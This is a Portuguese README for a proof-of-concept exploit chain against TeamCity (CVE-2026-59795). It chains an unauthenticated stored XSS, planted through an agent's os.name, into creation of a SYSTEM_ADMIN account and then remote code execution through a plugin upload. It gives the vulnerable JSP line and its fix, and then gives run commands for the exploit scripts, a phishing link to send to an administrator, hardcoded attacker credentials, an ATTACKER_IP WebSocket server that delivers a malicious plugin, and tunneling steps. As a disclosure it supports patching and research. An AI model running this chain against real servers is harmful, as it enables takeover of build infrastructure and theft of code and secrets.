
Prova de conceito para CVE-2026-59795: XSS armazenado não autenticado nos detalhes do agente do TeamCity, encadeado com a criação de conta SYSTEM_ADMIN e RCE por upload de plugin.
XSS armazenado não autenticado na página legada de detalhes do agente do TeamCity, escalando para RCE no servidor sem reinicialização. Um atacante registra um agente de build (sem necessidade de credenciais) com um os.name malicioso e, em seguida, faz com que um administrador visualize a página de detalhes desse agente. O payload é executado na sessão autenticada do administrador e pode criar uma conta SYSTEM_ADMIN ou enviar e carregar um plugin malicioso.
| CVE | CVE-2026-59795 |
| Afetado | TeamCity <= 2026.1.1 (build 222577) |
| Corrigido em | 2026.1.2 (222647), 2025.11.6 (208214) |
| CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| Tipo | XSS armazenado (CWE-79), encadeável para tomada de controle de SYSTEM_ADMIN e RCE |
| Autenticação necessária | Nenhuma para plantar o payload |
Gatilho: um administrador visualiza o agente malicioso, seja por meio de um link &fromSakuraUI=true criado para um clique na interface Sakura padrão, seja sem qualquer phishing, abrindo o agente pendente no fluxo normal de autorização quando o administrador está na interface clássica ("Use Sakura UI" desmarcado por usuário, ou modo clássico em todo o servidor).
webapps/ROOT/agent/agentSummary.jsp renderiza o nome do sistema operacional informado pelo agente sem escapar:
<li>Operating system: <bs:osIcon osName="${agent.operatingSystemName}"/><strong>${agent.operatingSystemName}</strong></li>
Relatório completo com capturas de ecrã e contexto: https://joakimbulow.com/posts/cve-2026-59795/
O nome do agente irmão algumas linhas acima usa <c:out>, confirmando que a omissão é acidental. operatingSystemName é totalmente controlado pelo atacante: um agente não autenticado define-o no registo (atributo osName em POST /app/agents/v1/register), e o servidor armazena-o e devolve-o literalmente.
A interface React Sakura escapa corretamente osName e normalmente redireciona para fora da página legada, mas o redirecionamento é ignorado (e o JSP não escapado é renderizado) quando:
?fromSakuraUI=true no URL (o próprio flag de contorno da tag de redirecionamento), outeamcity.ui.experimental=disableDefault, ou a opção por utilizador "Use Sakura UI" desativada), ouConfirmado em ambiente real:
alert(document.domain) na sessão do administrador, sem efeitos secundários.SYSTEM_ADMIN na sessão do administrador (sem RCE)./admin/pluginUpload.html e ativa-o via /admin/plugins.html (EnableAllPlugins), o que carrega Java do atacante na JVM do TeamCity em execução sem reinício. Verificado através de um ficheiro de prova escrito no host do servidor, 4 segundos após o clique do administrador.Escapar a saída em agentSummary.jsp:
<strong><c:out value="${agent.operatingSystemName}"/></strong>
(O campo agent.version na linha acima tem o mesmo problema e precisa da mesma correção.)
GET /update/buildAgent.zipjavac na máquina do atacante, necessário apenas para o PoC de RCEcurl -o buildAgent.zip https://teamcity.example.com/update/buildAgent.zip
unzip buildAgent.zip -d evilagent
Não é necessário editar manualmente o conf/buildAgent.properties; cada PoC abaixo define serverUrl a partir do seu argumento --url/--tc-url e reescreve o nome do agente a cada execução, pelo que é seguro reutilizar repetidamente o mesmo diretório evilagent/ descompactado.
./poc/)Execute-os por ordem; cada um confirma mais impacto do que o anterior.
1. alert_only.py, confirma o XSS, sem efeitos secundários. Coloca um agente cujo osName despoleta alert(document.domain). Nenhuma conta criada, nenhum código executado.
python3 poc/alert_only.py --url https://teamcity.example.com --agent-dir ./evilagent
2. attacker_deeplink.py, XSS para tomada de conta SYSTEM_ADMIN, sem RCE. Mesma plantação, mas o payload cria uma conta SYSTEM_ADMIN (eviladmin / Ev1l-Pass-123) e faz polling até que essa conta consiga fazer login.
python3 poc/attacker_deeplink.py --url https://teamcity.example.com --agent-dir ./evilagent
3. rce_ws_server.py, cadeia completa, XSS para upload de plugin para RCE, terminal único. Compila um plugin, inicia o agente malicioso e um servidor WebSocket, e imprime o link de phishing. Quando o administrador o visualiza: o XSS é acionado, o servidor WS entrega o plugin, este é carregado e ativado, e o TeamCity o carrega em tempo de execução.
python3 poc/rce_ws_server.py --lhost ATTACKER_IP --lport 1337 \
--tc-url https://teamcity.example.com --agent-dir ./evilagent
Cada PoC imprime um link como:
https://teamcity.example.com/agentDetails.html?id=N&fromSakuraUI=true
Envie isso ao administrador (Sakura UI, um clique), ou, se o administrador já estiver na UI clássica, basta indicar a ele agentDetails.html?id=N sem nenhum parâmetro especial, por exemplo, através do fluxo normal de revisão de agentes pendentes.
Dentro de alguns segundos após o clique do administrador, no host do servidor TeamCity:
cat /tmp/pwned-tc-xss-rce.txt
=== TeamCity XSS->RCE chain confirmed ===
user: <tc-process-user>
host: <hostname>
java: <java-version>
cwd: <teamcity-bin-dir>
time: <timestamp>
Se o navegador do administrador não conseguir alcançar sua máquina atacante diretamente, por exemplo, você só for acessível por meio de um túnel SSH para o alvo, use rce_prepare.py para compilar o plugin e o agente na sua máquina, depois transfira poc/ws_serve.py e o ZIP do plugin compilado para o host do TeamCity e sirva-os a partir de lá:
# on the attacker machine
python3 poc/rce_prepare.py --tc-url http://localhost:8111 --agent-dir ./evilagent \
--ws-host localhost --ws-port 1337 --plugin-out /tmp/evil-plugin.zip
# transfer poc/ws_serve.py and /tmp/evil-plugin.zip to the TeamCity host, then there:
python3 ws_serve.py evil-plugin.zip 1337
Encaminhe a porta WebSocket pelo mesmo túnel usado para acessar o TeamCity (-L 1337:localhost:1337) para que o navegador do administrador possa alcançá-la como ws://localhost:1337.
Nota de limpeza: cada execução registra um agente com um novo nome, então execuções repetidas não colidirão, mas cada uma deixa um novo agente não autorizado para trás. Remova-os em Agents -> Unauthorized após os testes.
| Arquivo | Finalidade |
|---|---|
poc/alert_only.py | Etapa 1 de triagem, confirma o XSS com um alert() inofensivo |
poc/attacker_deeplink.py | Etapa 2 de triagem, XSS para tomada de controle SYSTEM_ADMIN |
poc/rce_ws_server.py | Etapa 3 de triagem, cadeia completa de XSS para upload até RCE, terminal único |
poc/rce_prepare.py | Mesma cadeia de RCE, dividida para que o servidor WebSocket possa rodar no host alvo (configurações de túnel) |
poc/ws_serve.py | Servidor de arquivos WebSocket autônomo usado pela configuração dividida do rce_prepare.py |
poc/poclib.py | Auxiliar compartilhado: configura e inicia o agente malicioso |
poc/payloads.txt | Variantes brutas de payload XSS (alert, sem espaços, create-admin) |